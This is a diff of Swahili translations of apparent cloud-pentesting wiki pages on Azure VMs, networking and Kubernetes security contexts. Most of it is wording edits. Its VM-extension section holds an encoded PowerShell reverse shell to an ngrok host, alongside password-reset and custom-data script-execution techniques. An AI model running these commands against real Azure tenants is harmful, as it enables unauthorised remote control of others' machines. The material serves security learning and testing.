- **Uzinduzi wa Kuaminika**: Aina hii ya usalama inaboresha ulinzi dhidi ya boot kits na malware ya kiwango cha kernel kwa kutumia Secure Boot na Virtual Trusted Platform Module (vTPM).
|
||||
- **VMs za Siri**: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbuaji wa diski na [**zaidi**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Uthibitishaji**: Kwa kawaida **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **nenosiri.**
|
||||
- **Usimbuaji wa diski za VM:** Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
|
||||
- Pia inawezekana kuwezesha **Usimbuaji kwenye mwenyeji**, ambapo data itasimbwa kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbuaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **VMs za Siri**: Zaidi ya uzinduzi wa kuaminika, inatoa kutengwa kwa msingi wa vifaa kati ya VM, hypervisor na usimamizi wa mwenyeji, inaboresha usimbaji wa diski na [**zaidi**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Uthibitishaji**: Kwa kawaida **funguo mpya za SSH zinaundwa**, ingawa inawezekana kutumia funguo za umma au kutumia funguo za awali na jina la mtumiaji kwa kawaida ni **azureuser**. Pia inawezekana kuunda mipangilio ya kutumia **neno la siri.**
|
||||
- **Usimbaji wa diski za VM:** Diski inasimbwa kwa kupumzika kwa kawaida kwa kutumia funguo zinazodhibitiwa na jukwaa.
|
||||
- Pia inawezekana kuwezesha **Usimbaji kwenye mwenyeji**, ambapo data itasimbwa kwenye mwenyeji kabla ya kutumwa kwa huduma ya uhifadhi, kuhakikisha usimbaji wa mwisho hadi mwisho kati ya mwenyeji na huduma ya uhifadhi ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Kikundi cha usalama wa mtandao wa NIC**:
|
||||
- **Hakuna**: Kimsingi inafungua kila bandari
|
||||
- **Msingi**: Inaruhusu kufungua kwa urahisi bandari za ndani HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
- **Juu**: Chagua kikundi cha usalama
|
||||
- **Nakala**: Inawezekana kuwezesha **Kawaida** nakala (moja kwa siku) na **Imara** (mara nyingi kwa siku)
|
||||
- **Nakala**: Inawezekana kuwezesha **Msingi** nakala (moja kwa siku) na **Imara** (mara kadhaa kwa siku)
|
||||
- **Chaguzi za uratibu wa patch**: Hii inaruhusu kutekeleza patch kiotomatiki katika VMs kulingana na sera iliyochaguliwa kama ilivyoelezwa katika [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching).
|
||||
- **Alerts**: Inawezekana kupata arifa kiotomatiki kwa barua pepe au programu ya simu wakati kitu kinatokea katika VM. Sheria za msingi:
|
||||
- Asilimia ya CPU ni kubwa kuliko 80%
|
||||
@@ -46,7 +46,7 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
## Diski & picha za snapshot
|
||||
|
||||
- Inawezekana **kuwezesha kuunganisha diski kwa VMs 2 au zaidi**
|
||||
- Kwa kawaida kila diski inasimbwa **kwa funguo za jukwaa.**
|
||||
- Kwa kawaida kila diski inasimbwa **na funguo ya jukwaa.**
|
||||
- Vivyo hivyo katika picha za snapshot
|
||||
- Kwa kawaida inawezekana **kushiriki diski kutoka mitandao yote**, lakini pia inaweza **kuzuiwa** kwa ufikiaji fulani **binafsi** au **kukatisha kabisa** ufikiaji wa umma na binafsi.
|
||||
- Vivyo hivyo katika picha za snapshot
|
||||
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inaiga mizigo** inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
|
||||
Kutoka kwenye [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Site Recovery husaidia kuhakikisha uendelevu wa biashara kwa kuweka programu za biashara na mizigo ikifanya kazi wakati wa kukatika. Site Recovery **inajirudia mizigo** inayofanya kazi kwenye mashine za kimwili na virtual (VMs) kutoka tovuti ya msingi hadi eneo la pili. Wakati kukatika kunapotokea kwenye tovuti yako ya msingi, unahamia kwenye eneo la pili, na kufikia programu kutoka hapo. Baada ya eneo la msingi kuanza tena, unaweza kurudi huko.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion inaruhusu ufikiaji salama na usio na mshono wa **Remote Desktop Protocol (RDP)** na **Secure Shell (SSH)** kwa mashine zako za virtual (VMs) moja kwa moja kupitia Azure Portal au kupitia sanduku la jump. Kwa **kuondoa hitaji la anwani za IP za umma** kwenye VMs zako.
|
||||
|
||||
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet ambayo inahitaji kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua port za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
|
||||
Bastion inapeleka subnet inayoitwa **`AzureBastionSubnet`** yenye netmask ya `/26` katika VNet ambayo inahitaji kufanya kazi. Kisha, inaruhusu **kuungana na VMs za ndani kupitia kivinjari** kwa kutumia `RDP` na `SSH` bila kufichua bandari za VMs kwa Mtandao. Inaweza pia kufanya kazi kama **jump host**.
|
||||
|
||||
Ili orodhesha Hosts zote za Azure Bastion katika usajili wako na kuungana na VMs kupitia hizo, unaweza kutumia amri zifuatazo:
|
||||
|
||||
@@ -189,7 +189,7 @@ Get-AzBastion
|
||||
|
||||
## Metadata
|
||||
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu kuendesha mifano ya mashine za virtual** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita kupitia proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
Huduma ya Metadata ya Azure Instance (IMDS) **inatoa taarifa kuhusu mifano ya mashine za virtual zinazofanya kazi** kusaidia katika usimamizi na usanidi wao. Inatoa maelezo kama SKU, uhifadhi, usanidi wa mtandao, na taarifa kuhusu matukio ya matengenezo yanayokuja kupitia **REST API inayopatikana kwenye anwani ya IP isiyoweza kuelekezwa 169.254.169.254**, ambayo inapatikana tu kutoka ndani ya VM. Mawasiliano kati ya VM na IMDS yanabaki ndani ya mwenyeji, kuhakikisha ufikiaji salama. Wakati wa kuuliza IMDS, wateja wa HTTP ndani ya VM wanapaswa kupita proxies za wavuti ili kuhakikisha mawasiliano sahihi.
|
||||
|
||||
Zaidi ya hayo, ili kuwasiliana na mwisho wa metadata, ombi la HTTP lazima liwe na kichwa **`Metadata: true`** na halipaswi kuwa na kichwa **`X-Forwarded-For`**.
|
||||
|
||||
@@ -435,13 +435,13 @@ Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Utekelezaji wa Msimbo katika VMs
|
||||
## Utekelezaji wa Kanuni katika VMs
|
||||
|
||||
### Nyongeza za VM
|
||||
|
||||
Nyongeza za Azure VM ni programu ndogo zinazotoa **mipangilio baada ya kupelekwa** na kazi za automatisering kwenye mashine za virtual za Azure (VMs).
|
||||
|
||||
Hii itaruhusu **kutekeleza msimbo wowote ndani ya VMs**.
|
||||
Hii itaruhusu **kutekeleza kanuni zisizo na mipaka ndani ya VMs**.
|
||||
|
||||
Ruhusa inayohitajika ni **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
@@ -517,7 +517,7 @@ az vm extension set \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
- Tekeleza shell ya kinyume kutoka kwa faili
|
||||
- Tekelea shell ya kurudi kutoka kwa faili
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
@@ -547,7 +547,7 @@ The required permission is still **`Microsoft.Compute/virtualMachines/extensions
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa haipo) ya watumiaji ndani ya Windows VMs.
|
||||
Extension hii inaruhusu kubadilisha nenosiri (au kuunda ikiwa halipo) la watumiaji ndani ya Windows VMs.
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -729,17 +729,17 @@ az vm application set \
|
||||
|
||||
### User data
|
||||
|
||||
Hii ni **data ya kudumu** ambayo inaweza kupatikana kutoka kwa kiungo cha metadata wakati wowote. Kumbuka katika Azure, data ya mtumiaji ni tofauti na AWS na GCP kwa sababu **ikiwa utaweka script hapa haitekelezwi kwa default**.
|
||||
Hii ni **data ya kudumu** ambayo inaweza kupatikana kutoka kwa kiungo cha metadata wakati wowote. Kumbuka katika Azure, data ya mtumiaji ni tofauti na AWS na GCP kwa sababu **ikiwa utaweka script hapa haitatekelezwa kwa default**.
|
||||
|
||||
### Custom data
|
||||
|
||||
Inawezekana kupitisha data fulani kwa VM ambayo itahifadhiwa katika njia zinazotarajiwa:
|
||||
|
||||
- Katika **Windows**, data ya kawaida inawekwa katika `%SYSTEMDRIVE%\AzureData\CustomData.bin` kama faili ya binary na haipangwa.
|
||||
- Katika **Windows**, data ya kawaida inawekwa katika `%SYSTEMDRIVE%\AzureData\CustomData.bin` kama faili ya binary na haiwezi kusindika.
|
||||
- Katika **Linux**, ilihifadhiwa katika `/var/lib/waagent/ovf-env.xml` na sasa inahifadhiwa katika `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: Haipangi data ya kawaida kwa default, picha maalum yenye data iliyoanzishwa inahitajika
|
||||
- **cloud-init:** Kwa default inachakata data ya kawaida na data hii inaweza kuwa katika [**format mbalimbali**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Inaweza kutekeleza script kwa urahisi kwa kutuma tu script katika data ya kawaida.
|
||||
- Nilijaribu kwamba zote Ubuntu na Debian zinafanya script uliyoweka hapa.
|
||||
- **Linux agent**: Haiwezi kusindika data ya kawaida kwa default, picha maalum yenye data iliyoanzishwa inahitajika
|
||||
- **cloud-init:** Kwa default inasindika data ya kawaida na data hii inaweza kuwa katika [**format mbalimbali**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Inaweza kutekeleza script kwa urahisi kwa kutuma tu script katika data ya kawaida.
|
||||
- Nilijaribu kwamba zote Ubuntu na Debian zinaweza kutekeleza script unayoweka hapa.
|
||||
- Pia si lazima kuwezesha data ya mtumiaji ili hii itekelezwe.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
@@ -17,8 +17,8 @@ Kwa kawaida, subnets zote ndani ya Azure Virtual Network (VNet) **zinaweza kuwas
|
||||
**Example:**
|
||||
|
||||
- `MyVNet` yenye anuwai ya anwani za IP 10.0.0.0/16.
|
||||
- **Subnet-1:** 10.0.0.0/24 kwa seva za wavuti.
|
||||
- **Subnet-2:** 10.0.1.0/24 kwa seva za hifadhidata.
|
||||
- **Subnet-1:** 10.0.0.0/24 kwa ajili ya seva za wavuti.
|
||||
- **Subnet-2:** 10.0.1.0/24 kwa ajili ya seva za hifadhidata.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -55,8 +55,8 @@ NSGs zinaweza kuunganishwa na **subnets na NICs.**
|
||||
|
||||
**Mfano wa kanuni:**
|
||||
|
||||
- Kanuni ya kuingia inayoruhusu trafiki ya HTTP (bandari 80) kutoka chanzo chochote kwenda kwa seva zako za wavuti.
|
||||
- Kanuni ya kutoka inayoruhusu tu trafiki ya SQL (bandari 1433) kwenda kwa anwani maalum ya IP.
|
||||
- Kanuni ya kuingia inayoruhusu trafiki ya HTTP (bandari 80) kutoka chanzo chochote kwa seva zako za wavuti.
|
||||
- Kanuni ya kutoka inayoruhusu tu trafiki ya SQL (bandari 1433) kwa anwani maalum ya IP.
|
||||
|
||||
### Uhesabuji
|
||||
|
||||
@@ -91,7 +91,7 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall ni **huduma ya usalama wa mtandao inayosimamiwa** katika Azure inayolinda rasilimali za wingu kwa kukagua na kudhibiti trafiki. Ni **firewall yenye hali** inayochuja trafiki kulingana na sheria za Tabaka 3 hadi 7, ikisaidia mawasiliano ndani ya **Azure** (trafiki ya mashariki-magharibi) na **kuja/kutoka kwa mitandao ya nje** (trafiki ya kaskazini-south). Imewekwa kwenye **ngazi ya Mtandao wa Kijadi (VNet)**, inatoa ulinzi wa kati kwa subnets zote katika VNet. Azure Firewall inajipanga kiotomatiki ili kushughulikia mahitaji ya trafiki na kuhakikisha upatikanaji wa juu bila kuhitaji mipangilio ya mikono.
|
||||
Azure Firewall ni **huduma ya usalama wa mtandao inayosimamiwa** katika Azure inayolinda rasilimali za wingu kwa kukagua na kudhibiti trafiki. Ni **firewall yenye hali** inayochuja trafiki kulingana na sheria za Tabaka 3 hadi 7, ikisaidia mawasiliano ndani ya **Azure** (trafiki ya mashariki-magharibi) na **kuja/kutoka kwa mitandao ya nje** (trafiki ya kaskazini-south). Imewekwa katika **ngazi ya Mtandao wa Kijadi (VNet)**, inatoa ulinzi wa kati kwa subnets zote katika VNet. Azure Firewall inajipanga kiotomatiki ili kushughulikia mahitaji ya trafiki na kuhakikisha upatikanaji wa juu bila kuhitaji mipangilio ya mikono.
|
||||
|
||||
Inapatikana katika SKUs tatu—**Msingi**, **Kawaida**, na **Kitaalamu**, kila moja imeandaliwa kwa mahitaji maalum ya wateja:
|
||||
|
||||
@@ -212,7 +212,7 @@ Azure Service Endpoints huongeza nafasi ya anwani ya faragha ya mtandao wako wa
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Kwa mfano, akaunti ya **Azure Storage** kwa kawaida inapatikana kupitia intaneti ya umma. Kwa kuwezesha **service endpoint kwa Azure Storage ndani ya VNet yako**, unaweza kuhakikisha kwamba ni trafiki pekee kutoka VNet yako inayoweza kufikia akaunti ya hifadhi. Kisha, moto wa akaunti ya hifadhi unaweza kuwekewa mipangilio ili kukubali trafiki tu kutoka VNet yako.
|
||||
Kwa mfano, akaunti ya **Azure Storage** kwa kawaida inapatikana kupitia intaneti ya umma. Kwa kuwezesha **service endpoint kwa Azure Storage ndani ya VNet yako**, unaweza kuhakikisha kwamba ni trafiki pekee kutoka VNet yako inayoweza kufikia akaunti ya uhifadhi. Kisha, moto wa akaunti ya uhifadhi unaweza kuwekewa mipangilio ili kukubali trafiki tu kutoka VNet yako.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -254,7 +254,7 @@ Microsoft inapendekeza kutumia Private Links katika [**docs**](https://learn.mic
|
||||
**Private Links:**
|
||||
|
||||
- Private Link inachora huduma za Azure ndani ya VNet yako kupitia endpoint ya kibinafsi, ambayo ni kiunganishi cha mtandao chenye anwani ya IP ya kibinafsi ndani ya VNet yako.
|
||||
- Huduma ya Azure inafikiwa kwa kutumia anwani hii ya IP ya kibinafsi, ikifanya ionekane kama sehemu ya mtandao wako.
|
||||
- Huduma ya Azure inafikiwa kwa kutumia anwani hii ya IP ya kibinafsi, ikifanya ionekane kana kwamba ni sehemu ya mtandao wako.
|
||||
- Huduma zilizounganishwa kupitia Private Link zinaweza kufikiwa tu kutoka kwa VNet yako au mitandao iliyounganishwa; hakuna ufikiaji wa intaneti ya umma kwa huduma hiyo.
|
||||
- Inaruhusu muunganisho salama kwa huduma za Azure au huduma zako binafsi zinazohifadhiwa katika Azure, pamoja na muunganisho kwa huduma zinazoshirikiwa na wengine.
|
||||
- Inatoa udhibiti wa ufikiaji wa kina kupitia endpoint ya kibinafsi katika VNet yako, tofauti na udhibiti mpana wa ufikiaji katika kiwango cha subnet na service endpoints.
|
||||
@@ -269,7 +269,7 @@ Kwa muhtasari, ingawa Service Endpoints na Private Links zote zinatoa muunganish
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Fikiria una programu iliyosambazwa kimataifa yenye watumiaji kote ulimwenguni. Unaweza kutumia Azure Front Door ili **kupeleka maombi ya watumiaji kwa kituo cha data cha kikanda kilicho karibu zaidi** kinachohifadhi programu yako, hivyo kupunguza ucheleweshaji, kuboresha uzoefu wa mtumiaji na **kuilinda kutokana na mashambulizi ya mtandaoni kwa uwezo wa WAF**. Ikiwa eneo fulani linakabiliwa na kukatika, Azure Front Door inaweza moja kwa moja kuhamasisha trafiki kwa eneo linalofuata bora, kuhakikisha upatikanaji wa juu.
|
||||
Fikiria una programu iliyosambazwa kimataifa yenye watumiaji kote ulimwenguni. Unaweza kutumia Azure Front Door ili **kupeleka maombi ya watumiaji kwa kituo cha data cha kikanda kilicho karibu zaidi** kinachohifadhi programu yako, hivyo kupunguza ucheleweshaji, kuboresha uzoefu wa mtumiaji na **kuilinda kutokana na mashambulizi ya mtandaoni kwa uwezo wa WAF**. Ikiwa eneo fulani linakabiliwa na kukatika, Azure Front Door inaweza kuhamasisha trafiki kiotomatiki kwa eneo linalofuata bora, kuhakikisha upatikanaji wa juu.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -296,14 +296,14 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
|
||||
|
||||
## Azure Application Gateway na Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway ni **balancer wa mzigo wa trafiki wa wavuti** unaokuwezesha kudhibiti trafiki kwa **maombi** yako ya wavuti. Inatoa **balancing ya mzigo wa Layer 7, kumaliza SSL, na uwezo wa firewall ya maombi ya wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na upitishaji wa URL, uhusiano wa kikao kulingana na kuki, na kuondoa safu salama za soketi (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa balancing wa mzigo kama vile upitishaji wa kimataifa na upitishaji kulingana na njia.
|
||||
Azure Application Gateway ni **mshikamano wa mzigo wa trafiki wa wavuti** unaokuwezesha kudhibiti trafiki kwa **maombi** yako ya wavuti. Inatoa **mshikamano wa mzigo wa Tabaka la 7, kumaliza SSL, na uwezo wa moto wa wavuti (WAF)** katika Msimamizi wa Usambazaji wa Maombi (ADC) kama huduma. Vipengele muhimu ni pamoja na upitishaji wa URL, uhusiano wa kikao kulingana na kuki, na kupunguza safu za soketi salama (SSL), ambavyo ni muhimu kwa maombi yanayohitaji uwezo tata wa usambazaji wa mzigo kama vile upitishaji wa kimataifa na upitishaji kulingana na njia.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo ina subdomains nyingi kwa kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma za usindikaji wa malipo.\
|
||||
Fikiria hali ambapo una tovuti ya biashara mtandaoni ambayo ina subdomain nyingi kwa ajili ya kazi tofauti, kama vile akaunti za watumiaji na usindikaji wa malipo. Azure Application Gateway inaweza **kupeleka trafiki kwa seva za wavuti zinazofaa kulingana na njia ya URL**. Kwa mfano, trafiki kwa `example.com/accounts` inaweza kuelekezwa kwa huduma za akaunti za watumiaji, na trafiki kwa `example.com/pay` inaweza kuelekezwa kwa huduma za usindikaji wa malipo.\
|
||||
Na **kulinda tovuti yako kutokana na mashambulizi kwa kutumia uwezo wa WAF.**
|
||||
|
||||
### **Uhesabu**
|
||||
### **Uhesabuji**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -325,7 +325,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
**VNet Peering** ni kipengele cha mtandao katika Azure ambacho **kinaruhusu Mitandao ya Kijadi (VNets) tofauti kuunganishwa moja kwa moja na bila mshono**. Kupitia VNet peering, rasilimali katika VNet moja zinaweza kuwasiliana na rasilimali katika VNet nyingine kwa kutumia anwani za IP za kibinafsi, **kama vile zilikuwa katika mtandao mmoja**.\
|
||||
**VNet Peering inaweza pia kutumika na mitandao ya ndani** kwa kuweka VPN ya tovuti hadi tovuti au Azure ExpressRoute.
|
||||
|
||||
**Azure Hub na Spoke** ni muundo wa mtandao unaotumika katika Azure kusimamia na kuandaa trafiki ya mtandao. **"Hub" ni sehemu ya kati inayodhibiti na kuelekeza trafiki kati ya "spokes" tofauti**. Hub kwa kawaida ina huduma za pamoja kama vile vifaa vya mtandao vya virtual (NVAs), Azure VPN Gateway, Azure Firewall, au Azure Bastion. **"Spokes" ni VNets ambazo zinaweka kazi na kuungana na hub kwa kutumia VNet peering**, na kuwapa uwezo wa kutumia huduma za pamoja ndani ya hub. Mfano huu unakuza mpangilio safi wa mtandao, ukipunguza ugumu kwa kuunganisha huduma za kawaida ambazo kazi nyingi katika VNets tofauti zinaweza kutumia.
|
||||
**Azure Hub na Spoke** ni muundo wa mtandao unaotumika katika Azure kusimamia na kuandaa trafiki ya mtandao. **"hub" ni sehemu ya kati inayodhibiti na kuelekeza trafiki kati ya "spokes" tofauti**. Hub kwa kawaida ina huduma za pamoja kama vile vifaa vya mtandao vya virtual (NVAs), Azure VPN Gateway, Azure Firewall, au Azure Bastion. **"spokes" ni VNets ambazo zinaweka kazi na kuungana na hub kwa kutumia VNet peering**, na kuwapa uwezo wa kutumia huduma za pamoja ndani ya hub. Mfano huu unakuza mpangilio safi wa mtandao, ukipunguza ugumu kwa kuunganisha huduma za kawaida ambazo kazi nyingi katika VNets tofauti zinaweza kutumia.
|
||||
|
||||
> [!CAUTION] > **VNET pairing si ya kupitisha katika Azure**, ambayo inamaanisha kwamba ikiwa spoke 1 imeunganishwa na spoke 2 na spoke 2 imeunganishwa na spoke 3 basi spoke 1 haiwezi kuzungumza moja kwa moja na spoke 3.
|
||||
|
||||
@@ -364,13 +364,13 @@ Get-AzFirewall
|
||||
|
||||
## VPN ya Tovuti hadi Tovuti
|
||||
|
||||
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wako wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia trafiki** kati ya mitandao hiyo miwili.
|
||||
VPN ya Tovuti hadi Tovuti katika Azure inakuwezesha **kuunganisha mtandao wako wa ndani na Mtandao wa Kijadi wa Azure (VNet)**, ikiruhusu rasilimali kama VMs ndani ya Azure kuonekana kana kwamba ziko kwenye mtandao wako wa ndani. Muunganisho huu unafanywa kupitia **gateway ya VPN inayoshughulikia usimbuaji wa trafiki** kati ya mitandao miwili.
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Biashara yenye ofisi yake kuu iliyoko New York ina kituo cha data cha ndani ambacho kinahitaji kuunganishwa kwa usalama na VNet yake katika Azure, ambayo inahifadhi kazi zake za virtualized. Kwa kuweka **VPN ya Tovuti hadi Tovuti, kampuni inaweza kuhakikisha muunganisho wa encrypted kati ya seva za ndani na VMs za Azure**, ikiruhusu rasilimali kufikiwa kwa usalama katika mazingira yote mawili kana kwamba ziko kwenye mtandao mmoja wa ndani.
|
||||
Biashara yenye ofisi yake kuu iliyoko New York ina kituo cha data cha ndani ambacho kinahitaji kuunganishwa kwa usalama na VNet yake katika Azure, ambayo inahifadhi kazi zake za virtualized. Kwa kuweka VPN ya **Tovuti hadi Tovuti, kampuni inaweza kuhakikisha muunganisho wa usimbuaji kati ya seva za ndani na VMs za Azure**, ikiruhusu rasilimali kufikiwa kwa usalama katika mazingira yote mawili kana kwamba ziko kwenye mtandao mmoja wa ndani.
|
||||
|
||||
### **Uhesabuji**
|
||||
### **Uhesabu**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -399,7 +399,7 @@ Azure ExpressRoute ni huduma inayotoa **kiunganishi cha kibinafsi, maalum, cha k
|
||||
|
||||
**Mfano:**
|
||||
|
||||
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
|
||||
Kampuni ya kimataifa inahitaji **kiunganishi thabiti na cha kuaminika kwa huduma zake za Azure kutokana na kiasi kikubwa cha data** na hitaji la throughput ya juu. Kampuni inachagua Azure ExpressRoute kuunganisha moja kwa moja kituo chake cha data cha ndani na Azure, ikirahisisha uhamasishaji wa data kwa kiwango kikubwa, kama vile nakala za kila siku na uchambuzi wa data wa wakati halisi, kwa faragha na kasi iliyoongezeka.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
|
||||
+6
-6
@@ -14,7 +14,7 @@ Unapofafanua muktadha wa usalama wa Pod unaweza kutumia sifa kadhaa. Kutoka kwa
|
||||
- Usitoe **privilege** **group** ufikiaji kupitia **runAsGroup** na **supplementaryGroups**
|
||||
|
||||
| Parameter | Maelezo |
|
||||
